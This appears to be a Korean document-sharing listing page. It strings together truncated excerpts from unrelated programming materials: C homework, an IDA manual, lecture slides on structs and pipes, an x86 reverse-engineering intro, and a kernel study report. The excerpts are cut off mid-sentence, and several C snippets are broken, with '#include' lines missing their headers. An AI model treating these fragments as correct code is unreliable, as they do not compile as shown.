C 언어 프로그래밊 과제 풀이 과제풀이 (1) 홀수 / 짝수판정 (1) /* 20094123 홍길동 20100324 */ /* even_or_odd.c */ /* 정수를입력받아홀수인지짝수인지판정하는프로그램 */ int number; printf(" 정수를입력하시오 => "); scanf("%d", &number); 확인 주석문 가필요한이유 printf 와 scanf 쌍

More information

IDA 5.x Manual 07.02.hwp

IDA 5.x Manual 07.02.hwp IDA 5.x Manual - Manual 01 - 영리를 목적으로 한 곳에서 배포금지 Last Update 2007. 02 이강석 / certlab@gmail.com 어셈블리어 개발자 그룹 :: 어셈러브 http://www.asmlove.co.kr - 1 - IDA Pro 는 Disassembler 프로그램입니다. 기계어로 되어있는 실행파일을 어셈블리언어

More information

chap8.PDF

chap8.PDF 8 Hello!! C 2 3 4 struct - {...... }; struct jum{ int x_axis; int y_axis; }; struct - {...... } - ; struct jum{ int x_axis; int y_axis; }point1, *point2; 5 struct {....... } - ; struct{ int x_axis; int

More information

Microsoft PowerPoint - chap03-변수와데이터형.pptx

Microsoft PowerPoint - chap03-변수와데이터형.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num %d\n", num); return 0; } 1 학습목표 의 개념에 대해 알아본다.

More information

Microsoft PowerPoint - 09-Pipe

Microsoft PowerPoint - 09-Pipe 9. 파이프 상명대학교소프트웨어학부 파이프 시그널은이상한사건이나오류를처리하는데는이용하지만, 한프로세스로부터다른프로세스로대량의정보를전송하는데는부적합하다. 파이프 한프로세스를다른관련된프로세스에연결시켜주는단방향의통신채널 2 pipe() Usage #include int pipe(int filedes[2]); 3 < ex_1.c > #include

More information

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co Basic reverse engineering on x86 This is for those who want to learn about basic reverse engineering on x86 (Feel free to use this, email me if you need a keynote version.) v0.1 SeungJin Beist Lee beist@grayhash.com

More information

문서의 제목 나눔명조R, 40pt

문서의 제목  나눔명조R, 40pt 이문서는나눔글꼴로작성되었습니다. 설치하기 11차시 : 함수동적메모리할당다차원배열 프로그래밍및실험 제 11주 동국대학교조영석 6.6 함수인자로써의배열 - 함수정의에서배열로선언된형식매개변수는 pointer임. - 함수의인자로배열이전달되면배열의기본주소가 ( 배열의내용이아님 ) call-by-value로전달됨. - 배열원소는복사되지않음. 2 ( 예 ) #include

More information

UI TASK & KEY EVENT

UI TASK & KEY EVENT KEY EVENT & STATE 구현 2007. 1. 25 PLATFORM TEAM 정용학 차례 Key Event HS TASK UI TASK LONG KEY STATE 구현 소스코드및실행화면 질의응답및토의 2 KEY EVENT - HS TASK hs_task keypad_scan_keypad hs_init keypad_pass_key_code keypad_init

More information

ABC 11장

ABC 11장 12 장고급응용 0 수행중인프로그램 프로세스 모든프로세스는유일한프로세스식별번호 (PID) 를가짐 유닉스에서는 ps 명령을사용하여프로세스목록을볼수있음 12-1 프로세스 $ ps -aux USER PID %CPU %MEM SZ RSS TT STAT START TIME COMMAND blufox 17725 34.0 1.6 146 105 i2 R 15:13 0:00

More information

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서 커알못의 커널 탐방기 2015.12 이 세상의 모든 커알못을 위해서 개정 이력 버전/릴리스 0.1 작성일자 2015년 11월 30일 개요 최초 작성 0.2 2015년 12월 1일 보고서 구성 순서 변경 0.3 2015년 12월 3일 오탈자 수정 및 글자 교정 1.0 2015년 12월 7일 내용 추가 1.1 2015년 12월 10일 POC 코드 삽입 및 코드

More information